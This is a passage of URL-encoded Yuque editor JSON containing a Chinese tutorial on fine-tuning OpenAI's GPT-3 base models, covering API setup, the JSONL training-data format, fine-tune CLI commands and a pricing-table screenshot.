AF%E4%BD%A0%E9%97%AE%E7%9A%84%E6%96%B9%E5%BC%8F%E4%B8%8D%E5%AF%B9%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud342fad2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u36b9a1ea%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8ChatGPT%E7%9A%84%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E4%B8%AD%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6b2ac8d2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BB%96%E9%A6%96%E5%85%88%E9%BC%93%E5%8A%B1%E4%BD%A0%E9%80%9A%E8%BF%87%E6%8F%90%E4%BE%9B%E5%A4%9A%E4%B8%AA%E7%A4%BA%E4%BE%8B%E6%9D%A5%E8%AE%A9ChatGPT%E6%9B%B4%E5%87%86%E7%A1%AE%E7%9A%84%E5%AF%BB%E6%89%BE%E7%AD%94%E6%A1%88%EF%BC%8C%E4%BB%96%E6%8A%8A%E8%BF%99%E4%B8%AA%E6%96%B9%E6%A1%88%E7%A7%B0%E4%B9%8B%E4%B8%BA%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc6ba5554%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%5C%22few-shot%20learning.%5C%22%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub5a384e1%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucc22bdfa%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%99%A4%E6%AD%A4%E4%B9%8B%E5%A4%96%EF%BC%8C%E5%BD%93%E7%84%B6%E4%BB%96%E4%B9%9F%E5%85%81%E8%AE%B8%E4%BD%A0%E9%80%9A%E8%BF%87%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufff9ad12%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%BE%AE%E8%B0%83%E5%8A%9F%E8%83%BD%E6%9D%A5%E5%AF%B9ChatGPT%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%AE%9A%E7%9A%84%E8%AE%AD%E7%BB%83%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf1e3438e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E6%9D%A5%E8%8E%B7%E5%BE%97%E4%B8%80%E4%B8%AA%E6%9B%B4%E7%AC%A6%E5%90%88%E8%87%AA%E5%B7%B1%E8%A6%81%E6%B1%82%E7%9A%84ChatGPT%EF%BC%8C%E5%BD%93%E7%84%B6%EF%BC%8C%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E6%98%AF%E6%94%B6%E8%B4%B9%E7%9A%84%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue8a43e02%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uda8a0d25%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684221604003-e44b0998-a89d-42ee-8b48-f0d4aebcd9f5.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1680%2C%22height%22%3A448%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A34019%2C%22width%22%3A1527.2726941699832%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u27900d19-f58d-4226-a8c6-297c175f1fd%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A21%2C%22y%22%3A28%2C%22width%22%3A249%2C%22height%22%3A30%2C%22text%22%3A%22FINE-TUNING%20MODELS%22%7D%2C%7B%22x%22%3A860%2C%22y%22%3A30%2C%22width%22%3A816%2C%22height%22%3A21%2C%22text%22%3A%22CREATE%20YOUR%20OWN%20CUSTOM%20MODELS%20BY%20FNE-TUNING%20OUR%20BASE%20MODELS%20WITH%20YOUR%20TRAINININING%20DATA.ONCE%20YOU%20FINE%22%7D%2C%7B%22x%22%3A860%2C%22y%22%3A54%2C%22width%22%3A652%2C%22height%22%3A20%2C%22text%22%3A%22TUNE%20A%20MODEL%2CYOU&#39;LL%20BE%20BILLED%20ONLY%20FOR%20TOKENS%20YOU%20USE%20IN%20REQUESTS%20TO%20THAT%20MODEL.%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A102%2C%22width%22%3A253%2C%22height%22%3A18%2C%22text%22%3A%22LEARN%20MORE%20ABOUT%20FINE-TUNING%22%7D%2C%7B%22x%22%3A1141%2C%22y%22%3A194%2C%22width%22%3A69%2C%22height%22%3A20%2C%22text%22%3A%22TRAINING%22%7D%2C%7B%22x%22%3A1421%2C%22y%22%3A195%2C%22width%22%3A56%2C%22height%22%3A20%2C%22text%22%3A%22USAGE%22%7D%2C%7B%22x%22%3A859%2C%22y%22%3A195%2C%22width%22%3A57%2C%22height%22%3A18%2C%22text%22%3A%22MODEL%22%7D%2C%7B%22x%22%3A1422%2C%22y%22%3A238%2C%22width%22%3A159%2C%22height%22%3A19%2C%22text%22%3A%22%240.0016%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A238%2C%22width%22%3A35%2C%22height%22%3A16%2C%22text%22%3A%22ADA%22%7D%2C%7B%22x%22%3A1141%2C%22y%22%3A238%2C%22width%22%3A164%2C%22height%22%3A18%2C%22text%22%3A%22%240.0004%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A1421%2C%22y%22%3A278%2C%22width%22%3A161%2C%22height%22%3A21%2C%22text%22%3A%22%24O.0024%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A1141%2C%22y%22%3A279%2C%22width%22%3A163%2C%22height%22%3A19%2C%22text%22%3A%22%240.0006%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A280%2C%22width%22%3A75%2C%22height%22%3A18%2C%22text%22%3A%22BABBAGE%22%7D%2C%7B%22x%22%3A1421%2C%22y%22%3A320%2C%22width%22%3A158%2C%22height%22%3A21%2C%22text%22%3A%22%240.0120%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A1140%2C%22y%22%3A321%2C%22width%22%3A164%2C%22height%22%3A19%2C%22text%22%3A%22%24O.0030%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A322%2C%22width%22%3A46%2C%22height%22%3A18%2C%22text%22%3A%22CURIE%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A363%2C%22width%22%3A63%2C%22height%22%3A18%2C%22text%22%3A%22DAVINCI%22%7D%2C%7B%22x%22%3A1422%2C%22y%22%3A363%2C%22width%22%3A155%2C%22height%22%3A17%2C%22text%22%3A%22%24O.1200%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A1140%2C%22y%22%3A365%2C%22width%22%3A164%2C%22height%22%3A17%2C%22text%22%3A%22%240.0300%20%2F1K%20TOKENS%22%7D%5D%2C%22search%22%3A%22FINE-TUNING%20MODELS%20CREATE%20YOUR%20OWN%20CUSTOM%20MODELS%20BY%20FNE-TUNING%20OUR%20BASE%20MODELS%20WITH%20YOUR%20TRAINININING%20DATA.ONCE%20YOU%20FINE%20TUNE%20A%20MODEL%2CYOU&#39;LL%20BE%20BILLED%20ONLY%20FOR%20TOKENS%20YOU%20USE%20IN%20REQUESTS%20TO%20THAT%20MODEL.%20LEARN%20MORE%20ABOUT%20FINE-TUNING%20TRAINING%20USAGE%20MODEL%20%240.0016%2F1K%20TOKENS%20ADA%20%240.0004%2F1K%20TOKENS%20%24O.0024%2F1K%20TOKENS%20%240.0006%2F1K%20TOKENS%20BABBAGE%20%240.0120%2F1K%20TOKENS%20%24O.0030%2F1K%20TOKENS%20CURIE%20DAVINCI%20%24O.1200%2F1K%20TOKENS%20%240.0300%20%2F1K%20TOKENS%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fbfafa%22%7D%2C%22cardType%22%3A%22inline%22%2C%22fontsize%22%3A16%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub463b7ee%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7f46c5ac%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%86Fine-tuning%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E7%9B%AE%E5%89%8D%E5%8F%AA%E8%83%BD%E5%BA%94%E7%94%A8%E4%BA%8E%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3424f813%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22GPT3%E7%9A%84%E5%9F%BA%E7%A1%80%E6%A8%A1%E5%9E%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1f8e6636%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E5%B0%B1%E7%9B%AE%E5%89%8D%E8%80%8C%E8%A8%80%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2a83b70f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E5%85%B6%E5%AE%9E%E8%BF%98%E4%B8%8D%E5%A6%82%E5%BE%88%E5%A4%9A%E5%B8%82%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%85%B6%E4%BB%96%E5%A4%A7%E6%A8%A1%E5%9E%8B%EF%BC%8Copenai%E5%B9%B6%E6%B2%A1%E6%9C%89%E7%BB%99%E5%87%BA%E7%89%B9%E5%88%AB%E5%A5%BD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E6%96%B9%E6%A1%88%E7%BB%99%E5%A4%A7%E5%AE%B6%E3%80%82%E4%BD%86%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E8%BF%98%E6%98%AF%E5%85%88%E8%81%8A%E8%81%8A%E8%BF%99%E4%B8%AA%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22f3Mdi%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub5f9172e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E5%BE%AE%E8%B0%83ChatGPT%E8%AE%AD%E7%BB%83%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22TvsxW%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%22collapsed%22%3A%22false%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc4d0d89c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0570638c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud54a1ae6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%A6%96%E5%85%88%E4%BD%A0%E9%9C%80%E8%A6%81%E5%9C%A8openai%E7%9A%84api%E5%9F%BA%E7%A1%80%E4%B8%8A%E6%93%8D%E4%BD%9C%EF%BC%8C%E6%89%80%E4%BB%A5%E4%BD%A0%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84openai%E7%8E%AF%E5%A2%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue79484a3%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22Jitja%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22pip%20install%20--upgrade%20openai%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud233032a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u33acd777%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8F%90%E5%89%8D%E9%85%8D%E7%BD%AEopenai%20api%20key%EF%BC%8C%E8%BF%99%E4%B8%AAkey%E5%8F%AF%E4%BB%A5%E5%9C%A8openai%E7%9A%84%E5%B9%B3%E5%8F%B0%E5%90%8E%E5%8F%B0%E8%8E%B7%E5%BE%97%EF%BC%8C%E8%BF%99%E9%87%8C%E5%B0%B1%E4%B8%8D%E5%A4%9A%E8%AF%B4%E4%BA%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8dc8bfad%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22HNRjk%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22export%20OPENAI_API_KEY%3D%5C%22%3COPENAI_API_KEY%3E%5C%22%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22VnR7Z%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u51b9a518%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%87%86%E5%A4%87%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua43a2d3e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5fbdf317%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%A6%96%E5%85%88%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%87%86%E5%A4%87%E7%9B%B8%E5%BA%94%E7%9A%84%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%EF%BC%8C%E8%BF%99%E4%B8%AA%E6%95%B0%E6%8D%AE%E6%96%87%E4%BB%B6%E9%83%BD%E5%BF%85%E9%A1%BB%E6%98%AFJSONL%E6%96%87%E4%BB%B6%EF%BC%8C%E6%AF%8F%E8%A1%8C%E9%83%BD%E6%98%AF%E4%B8%80%E4%B8%AA%E6%8F%90%E7%A4%BA%E5%AF%B9%EF%BC%8C%E7%B1%BB%E4%BC%BC%E4%BA%8E%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub8c235d9%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22NpZ45%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%7B%5C%22prompt%5C%22%3A%20%5C%22%3Cprompt%20text%3E%5C%22%2C%20%5C%22completion%5C%22%3A%20%5C%22%3Cideal%20generated%20text%3E%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%20%5C%22%3Cprompt%20text%3E%5C%22%2C%20%5C%22completion%5C%22%3A%20%5C%22%3Cideal%20generated%20text%3E%5C%22%7D%5Cn%7B%5C%22prompt%5C%22%3A%20%5C%22%3Cprompt%20text%3E%5C%22%2C%20%5C%22completion%5C%22%3A%20%5C%22%3Cideal%20generated%20text%3E%5C%22%7D%5Cn...%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u669ad16b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6abefbcb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B8%80%E8%88%AC%E6%9D%A5%E8%AF%B4%EF%BC%8C%E4%BD%A0%E6%8F%90%E4%BE%9B%E7%9A%84%E8%AE%AD%E7%BB%83%E7%A4%BA%E4%BE%8B%E6%9C%80%E5%A5%BD%E6%9C%89%E5%87%A0%E7%99%BE%E4%B8%AA%EF%BC%8C%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%E4%BC%9A%E7%9B%B4%E6%8E%A5%E5%BD%B1%E5%93%8D%E5%88%B0%E6%9C%80%E7%BB%88%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%B4%A8%E9%87%8F%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf1c6040f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf9d1aaf1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8openai%E6%8F%90%E4%BE%9B%E7%9A%84%E5%B7%A5%E5%85%B7%E6%9D%A5%E9%AA%8C%E8%AF%81%E5%92%8C%E5%A4%84%E7%90%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u90098903%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22Hd54m%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22openai%20tools%20fine_tunes.prepare_data%20-f%20%3CLOCAL_FILE%3E%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u15787d16%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud887ef92%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%8F%90%E4%BE%9B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u77940f80%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22CSV%2C%20TSV%2C%20XLSX%2C%20JSON%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2a47b02d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%2C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8c18c01e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22JSONL%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubae94ff0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%A0%BC%E5%BC%8F%E7%9A%84%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22wOsfB%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufd6d71c4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22%E5%88%9B%E5%BB%BA%E5%BE%AE%E8%B0%83%E6%A8%A1%E5%9E%8B%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubf289279%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucfd0ca3f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8%E5%87%86%E5%A4%87%E5%A5%BD%E7%9B%B8%E5%BA%94%E7%9A%84%E8%AE%AD%E7%BB%83%E6%95%B0%E6%8D%AE%E4%B9%8B%E5%90%8E%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8opanai%E7%9A%84%E5%B7%A5%E5%85%B7%E6%9D%A5%E5%88%9B%E5%BB%BA%E5%BE%AE%E8%B0%83%E5%90%8E%E7%9A%84%E6%A8%A1%E5%9E%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc02e12b2%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22wlR3V%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22openai%20api%20fine_tunes.create%20-t%20%3CTRAIN_FILE_ID_OR_PATH%3E%20-m%20%3CBASE_MODEL%3E%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5809773c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue550c41e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%EF%BC%8C%E8%BF%99%E9%87%8C%E6%8C%87%E5%AE%9A%E7%9A%84%E5%9F%BA%E7%A1%80%E6%A8%A1%E5%9E%8B%E5%8F%AA%E5%8C%85%E5%90%ABGPT3%E7%9A%84%E9%83%A8%E5%88%86%EF%BC%8C%E5%8C%85%E6%8B%AC%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua7b200ab%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%2C%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22ada%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2de1ae4c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%2C%20%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7ae937ec%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%2C%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22babbage%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u678c07ee%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%2C%20%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5d7629a2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%2C%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22curie%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7eb004c6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%2C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a0cb12b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%2C%22bold%22%3Atrue%2C%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22davinci%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua461ec83%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%2